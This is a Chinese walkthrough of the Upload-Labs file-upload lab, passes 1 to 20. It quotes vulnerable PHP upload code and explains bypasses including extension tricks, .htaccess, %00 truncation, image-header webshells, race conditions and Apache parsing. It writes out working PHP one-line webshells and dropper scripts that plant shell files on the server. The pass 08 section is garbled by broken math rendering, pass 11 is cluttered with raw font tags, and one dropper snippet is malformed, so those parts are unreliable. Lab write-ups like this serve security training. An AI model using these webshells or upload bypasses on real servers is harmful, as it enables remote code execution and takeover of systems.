Upload-Labs-Linux-1-20
目录
Upload-Labs-Linux 1-20
前端校验绕过:pass 01
- 两种思路:1.通过抓包,修改后缀 2.前端禁用js绕过前端后缀检验
- 首先写一个木马,改为图片格式
GIF89a<?php eval($_POST['cmd'])?>
抓包之后改为PHP格式:
- 首先写一个木马,改为图片格式
- 使用蚁剑连接木马,第一次尝试一直是返回数据为空,原因是没有链接到木马,于是寻找木马地址,在抓包返回的页面里,查看js源码得到木马地址,
连接成功可以进入后台:
后台:(后面不再显示)
- 两种思路:1.通过抓包,修改后缀 2.前端禁用js绕过前端后缀检验
前端绕过:pass 02
- 可以看到源码仅仅对文件的后缀名进行了检验:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
,因此做法同第一题所述方法一致,不再演示:
- 可以看到源码仅仅对文件的后缀名进行了检验:
前端后缀名绕过:pass 03:
- 第三关增加了对于上传的图片文件的后缀检查,如果是php asp等均不可行,但是由于phtml也可以服务器正确解析为PHP,于是乎,可以利用phtml进行绕过,上传文件操作与之前类似,只需要将后缀改为phtml即可
- 第三关增加了对于上传的图片文件的后缀检查,如果是php asp等均不可行,但是由于phtml也可以服务器正确解析为PHP,于是乎,可以利用phtml进行绕过,上传文件操作与之前类似,只需要将后缀改为phtml即可
pass 04:通过htacess文件使得png文件被解析为PHP文件:
- 首先上传木马,通过bp修改后缀,上传图片马
- 上传htacess配置文件,同样首先是将png后缀改为正常后缀,返回,使用蚁剑 链接木马得到:
pass 05:大小写绕过
- 可以看到这道题的源码里面过滤了很多组合,但是没有过过滤纯大写组合,于是可以通过PHP后缀来绕过:
通过bp抓包,将后缀改为PHP,于是可以看到成功上传,但是这里的地址注意,后端重新改写了文件的地址,要通过查看文件内容查看:
- 可以看到这道题的源码里面过滤了很多组合,但是没有过过滤纯大写组合,于是可以通过PHP后缀来绕过:
pass 06:空格绕过:
- 这里将大小写过滤了,那就不能通过大小写过滤了,
于是想想其他方法,试试user.ini 文件:先上传一个user.ini文件修改后缀png为正常后缀在,上传一个图片马:
接下来查看上传图片马的位置:
通过蚁剑进行访问:这里没有成功,也就跟换方法,查看这一关的代码与上一关进行对比,发现少了一个去空格处理,那么我们就可以通过在文件后缀名添加空格进行解决:(不要直接修改文件后缀名,系统会自动去除,要在bp里面去除):
后面通过蚁剑连接即可
- 这里将大小写过滤了,那就不能通过大小写过滤了,
pass 07:.绕过过滤
观察源码可以发现,这里没有对点号进行删除,那么只需要在文件末尾加点号即可绕过:
进入后台:
pass 08:::$DATA 拓展名绕过
分析代码,发现少了一行:
没有:
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
,由于这个::D A T A 是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验: ‘ ∗ ∗ 在 w i n d o w s 环境下,不光会自动去除文件末尾的点和空格,同时 ( : : DATA是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:`**在windows环境下,不光会自动去除文件末尾的点和空格,同时(::
D
A
T
A
是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:
‘
∗
∗
在
w
in
d
o
w
s
环境下,不光会自动去除文件末尾的点和空格,同时
(
:: DATA)这个字符串,windows也会认为是非法字符,默认去除掉,即直接原名php**`**,**那么就可以通过bp抓包添加后缀::$DATA来解决,
之后连接直接去除后缀即可:
pass 09:代码审计
由于这里只过滤一次点号,那么就可以使用两个.来进行绕过:由于删除.之后,还会对点号后的后缀内容进行检验,于是我们在最后一个添加的点号那里进行添加空格,再加一个点号就可以绕过:于是将bp抓包,后缀修改为:
PHP. .
后面蚁剑连接即可
pass 10:
- 核心漏洞
这里就可以通过双写绕过:于是可以通过bp修改后缀为pphphp,得到10.php:
蚁剑连接:
- 核心漏洞
pass 11:
- 漏洞描述:白名单过滤,文件保存目录可控
- 核心代码
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
2. 逐句解析:`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'jpg'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'png'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'gif'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里设置白名单,表示后缀允许的范围,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">],</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">strrpos</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">],</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">+</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">1</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这句首先整体上是一个字符串截取</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">,源字符串是从全局数组$_FILES中寻找所有上传文件的名字,从最后一个点号之后的位置加1,截取这个位置之后的字符串,也就是获取拓展名,</font>`<font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">if</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">in_array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">))</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">判断获取的拓展名在不在白名单里面,在php中,上传一个文件之后,PHP会在服务器上面临时储存这个文件,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$temp_file</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'tmp_name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">];</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这句访问临时文件文件名,并且将其赋值给一个新的临时文件名,一般后面都会进行移动到一个更为持久的位置,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_GET</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'save_path'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">]</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"/"</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">rand</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">10</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">99</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">date</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"YmdHis"</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里就是先生成一个文件路径根据种子值随机生成,</font>`<font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">if</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">move_uploaded_file</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$temp_file</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">))</font>`<font style="color:#000000;background-color:rgb(250, 250, 250);">判断文件是否成功移动到$img_path。代码解析结束,分析漏洞:</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_GET</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'save_path'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">]</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"/"</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">rand</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">10</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">99</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">date</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"YmdHis"</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里使用了白名单过滤,并且保存路径可控,保存路径为get参数加/加随机数文件名,于是可以通过%00截断(用在url中),原理:由于windows系统使用C语言编写的,c语言读取字符串会以null为结束符,例如:111.php%00afdf在url中只会读取到111.php,由于保存路径可控,那么我们就可以通过%00截断让后面的路径无效,于是结题步骤如下:</font>
3. <font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">上传图片马,bp抓包改get参数,</font>
- pass 12:
- 漏洞描述:白名单过滤,文件保存目录可控
- 本题寓上一题类似,将get改为了post,于是我们需要将参数改为post上传,
由于不是在url中,那么就设置为1.php0x00,但是这样会发现有问题,于是查看了大佬的wp,要在bp里面进行修改,0x00不可见
- pass 13:
- 漏洞描述:结合文件包含漏洞,通过图片文件头绕过
- 核心代码:
function getReailFileType($filename){
$file = fopen($filename, "rb");//文件的前几个字节(即文件的魔术数字)
$bin = fread($file, 2); //只读2字节
fclose($file);//关闭文件
$strInfo = @unpack("C2chars", $bin);//使用 unpack() 函数将读取的 2 字节数据 $bin 解包为一个数组。解包格式 C2chars 表示将数据解包成两个无符号字符(C),并将其存储在 chars1 和 chars2 索引中。
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //j将两个无符号数转换为整数
$fileType = '';//创建文件类型变量,用于记录文件拓展名
switch($typeCode){
case 255216:
$fileType = 'jpg';//如果 $typeCode 等于 255216(代表 JPEG 文件的魔术数字),则将 $fileType 赋值为 'jpg'。
break;
case 13780:
$fileType = 'png';//如果 $typeCode 等于 13780(代表 PNG 文件的魔术数字),则将 $fileType 赋值为 'png'。
break;
case 7173:
$fileType = 'gif';//如果 $typeCode 等于 7173(代表 GIF 文件的魔术数字),则将 $fileType 赋值为 'gif'。
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
2. 漏洞剖析:题目要求:还给了提示要用文件包含漏洞,根据题目要求,我们应该上传文件头属于这三种问价对应的文件头才可以,于是这里才是真正的图片马,首先写好一个PHP文件,然后通过十六进制文本编辑器修改文件头,这里修改为png的文件头:我们上传之后发现使用意见链接,但是无效,于是看到题目提示,说是可以利用文件包含漏洞,于是我们进去之后发现要get一个参数,include函数会将其文件已php的形式解析,于是我们上传get参数:`[http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file=./upload/3820250302115650.png](http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file=./upload/3820250302115650.png)`成功连接蚁剑,进入后台:
3. 知识点:常见文件格式的文件头字节标识:
- pass 14:图片马绕过
- 漏洞描述:图片马+文件包含漏洞:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
//使用getimagesize函数获取文件名对应的文件信息,其执行流程首先查看文件头,然后判断后面的字节是否符合图片内容,不符合直接返回false,它可以从图像文件中提取出多个信息,包括图像的宽度、高度、类型、MIME 类型和额外的文件属性等。返回类型是一个数组:宽度: 图像的宽度(以像素为单位)
// 高度: 图像的高度(以像素为单位)
// 组件类型: 图像的类型(使用常量表示,如 IMAGETYPE_JPEG、IMAGETYPE_PNG 等)
// MIME 类型: 图像的 MIME 类型字符串(例如 'image/jpeg' 或 'image/png')
// 其他信息(如图像的颜色深度等)
//例如:Array
// (
// [0] => 800 // 宽度
// [1] => 600 // 高度
// [2] => 2 // 图像类型(jpeg)
// [3] => width="800" height="600" // 用于HTML的字符串
// [mime] => image/jpeg // MIME类型
// )
$ext = image_type_to_extension($info[2]);//返回数组下标为2对应的图片类型
if(stripos($types,$ext)>=0){
return $ext;//如果在白名单数组里面,即可成功绕过
}else{
return false;
}
}else{
return false;
}
}
2. 这里主要要<font style="background-color:#1DC0C9;">绕过的函数为getimagesize函数,由于其会对文件内容进行解析</font>,于是我们就不能单纯的修改文件头,要重新生成图片马:使用copy命令,将php木马加到图片后面:`copy 有点意思.jpg/b+1.php hack.jpg`---注意一定不要用命令行打开,要用cmd打开,生成一个hack.jpg的文件,使用这个来进行文件包含即可使用蚁剑连接:
3. 可以看出getimagesize函数其实并不是很严格,webp后缀也成功了
- pass 15:
- 核心源码
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
2. 函数exif_imagetype函数会更加严格,判断也会更快,这里就要使用更加纯正的jpg文件了,于是我们生成图片马:`copy haha.jpg/b+1.php hack.jpg`通过文件包含漏洞结合蚁剑连接即可。
3. 知识点:函数exif_imagetype返回值也是一个数字,这个函数从给定的文件中读取图像的头信息,返回一个常量值(数字),这个常量表示图像的类型,例如 JPEG、PNG 或 GIF 等。
- pass 16:二次渲染绕过
- 漏洞描述:服务器对图片马进行了一次渲染过后不会对其进行二次渲染
- 题目核心代码:
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片,这里会对文件的一部分字节进行改写,也就是渲染
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
3. 绕过方案:
1. 一种是通过源文件和上传到服务器的文件进行对比,发现大部分一样的地方就是服务器渲染的时候会保留的字节,于是只需要在这一部分进行插入一句话木马
2. 另一种是对服务器上传的图片进进行二次渲染,进行对比,同样的地方插入一句话木马
4. 操作演示:生成图片马,找相同的位置进行木马插入上传进行文件包含即可利用蚁剑进行连接:
- pass 17:
- 漏洞描述:对上传文件的处理是先移动再判断文件名是否合法,那么就可以利用移动到删除这 时间差进行竞争,赶在删除之前进行访问,从而让小马成功生成。
- 审计代码:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');//白名单
$file_name = $_FILES['upload_file']['name'];//得到文件名
$temp_file = $_FILES['upload_file']['tmp_name'];//临时文件名
$file_ext = substr($file_name,strrpos($file_name,".")+1);//得到后缀(不带.)
$upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径
//这里文件已经上传到服务器上,服务器会判断文件是否合法,不合法的话,会对文件进行删除操作下面进行判断,文件类型是否在白名单里面
if(move_uploaded_file($temp_file, $upload_file)){//是否将临时文件移动到上传文件目录里
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
3. 这里有一个点:对于任意类型的文件上传到服务器上的话,服务器都会先将其保存为临时文件,在对文件进行判断,如果文件合法的话,则不会删除,不合法就会删除,这个临时文件存在一个极小的生命周期,如果能在被删除之前访问,就可以利用临时文件
4. 于是我们要上传一个木马上去,但是在利用的时候,文件会被校验到,于是我们需要写一个木马,使得其能在这段极小的时间以内执行,写一段生成小马的php代码:保存为create.php`<?php fputs(fopen('shell.php','w'));'<php @eval($_POST['cmd'])>'?>`也可以使用`<font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);"><?</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">php</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$str</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'GIF89a <?php @eval($_POST["cmd"]); ?>'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">file_put_contents</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'mama.php'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$str</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font><font style="color:rgb(31, 127, 154);background-color:rgb(250, 250, 250);">?></font>`
5. 
fopen('shell.php', 'w'): 这个函数试图以写入模式打开一个名为 shell.php 的文件。如果这个文件不存在,则会创建一个新文件。
fputs(...): 这个函数用于将数据写入到文件中。这里,它的参数尚不完整,因为 fputs 需要两个参数:文件句柄和要写入的数据。
'<php @eval($_POST['cmd'])>': 这部分代码意图是生成一段 PHP 代码,内容是:
<?php @eval($_POST['cmd']); ?>
5. 上传create.php文件并且使用bp抓包,短时间内多次上传,然后访问create.php文件,再次抓包:多次访问,两者进行竞争,最终一旦访问成功,就会在服务器生成一个shell.php文件在用蚁剑连接即可:
- pass 18:
- 漏洞描述:这个题目也是先判断文件后缀是否合法,然后再对文件进行重新命名,于是仍然可以利用Apache解析漏洞和条件竞争进行绕过。
- 题目核心代码:
**/检查文件是否被上传
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
//文件目录是否被设置
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
//检验文件后缀名
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
//检验文件大小
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
//检验这类文件是否存在
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
//移动文件
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
//对class_rename_file是否为1,如果是,那么就对其重命名,返回其状态码,如果不是1的话,那么就返回上传结果状态码
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
//成功!
return $this->resultUpload( "SUCCESS" );
}
3. 通过这里我们可以分析到,整个上传文件的方法是先判断文件后缀是否合法,这里仅仅只是获得文件的最后哦一个后缀,然后检验合法之后再对齐进行文件重命名操作,但是重命名的话就直接是最后一个后缀名+时间戳的方式,我们可以利用上传文件到重命名的时间差进行访问文件,我们知道,Apache解析文件的时候会对文件后缀从右往左进行解析,那么我们只需要使用一个Apache解析不了的文件,让他往左进行,从而执行PHP代码,比如生成一个小马之类的。
4. 开干:先写一个能生成小马的文件,`generate.php`
<?php
$str='GIF89a
<?php @eval($_POST["cmd"]); ?>';
file_put_contents('mama.php',$str);
?>
5. 然后将其后缀抓包修改为php.ppt,多次上传然后进行访问,两个同时进行,然后再设置不同的线程,访问线程可以大一些:上传:直到访问线程出现200 :连接:
- pass 19:
- 漏洞描述:apache解析漏洞,Apache在解析文件后缀的时候如果有多个后缀的话,会从右往左进行解析,如果最右边的无法进行解析,那么就将继续往左,例如muma.php.7z,如果Apache某些特定版本无法识别,那么就会继续向左,解析为PHP文件
- 审计代码,发现他是这样的,先对文件后缀名进行合法化检验,如果不在黑名单里面,就对文件进行:
移动,这里的文件保存名字很危险,是可以用户自己设置的,于是乎,就可以利用Apache文件解析漏洞,上传多后缀的文件名 ,造成解析问题,然后让PHP代码进行执行。于是我们上传一句话木马,首先将木马的后缀名字改为jpg,然后将文件进行上传,在进行保存的时候,将文件保存名字改为.php.jpg后面进行访问,蚁剑连接成功:
- pass 20 :
- 漏洞描述:绕过数组后缀的判定,执行PHP代码
- 题目核心代码分析:
- 第一块主要内容是判断保存文件名是否进行传值,如果进行了传值,那么就将文件名变量设置为保存文件名,第二块:如果文件名变量不是一个数组的话,就通过句号进行分割,并将其转换为一个数组,第三块也是最重要的一块,文件最终的名字保存为数组中第一个元素和有效元素位置 -1位置的元素的结合,
**<font style="color:rgb(251, 71, 135);background-color:rgb(242, 247, 255);">reset($file)</font>**
- 这个函数将数组
<font style="color:rgb(251, 71, 135);">$file</font>
的内部指针重置到数组的第一个元素,并返回该值。 漏洞的位置在第三个方框那里,count函数的意思是返回数组中不为空null的元素的个数,那么就可以利用这个来进行绕过,$ext得到的数组最后一个元素。基于此,我们可以通过这样的方法绕过 上传文件名比实际文件后缀名要多,并且最后一个文件后缀为jpg或者其他白名单里面的就可以,这样有效位置-1 就为null,这时只要将文件名数组的第一位设置为php.即可,由于服务器在解析的时候会自动删除. 这样就可绕过对不是数组后缀的处理。
- 步骤:先上传一句话木马,然后进行抓包:
这里修改了content_type的原因是绕过前面的meme类型判断:
返回显示文件上传成功:进行访问使用蚁剑连接是OK的: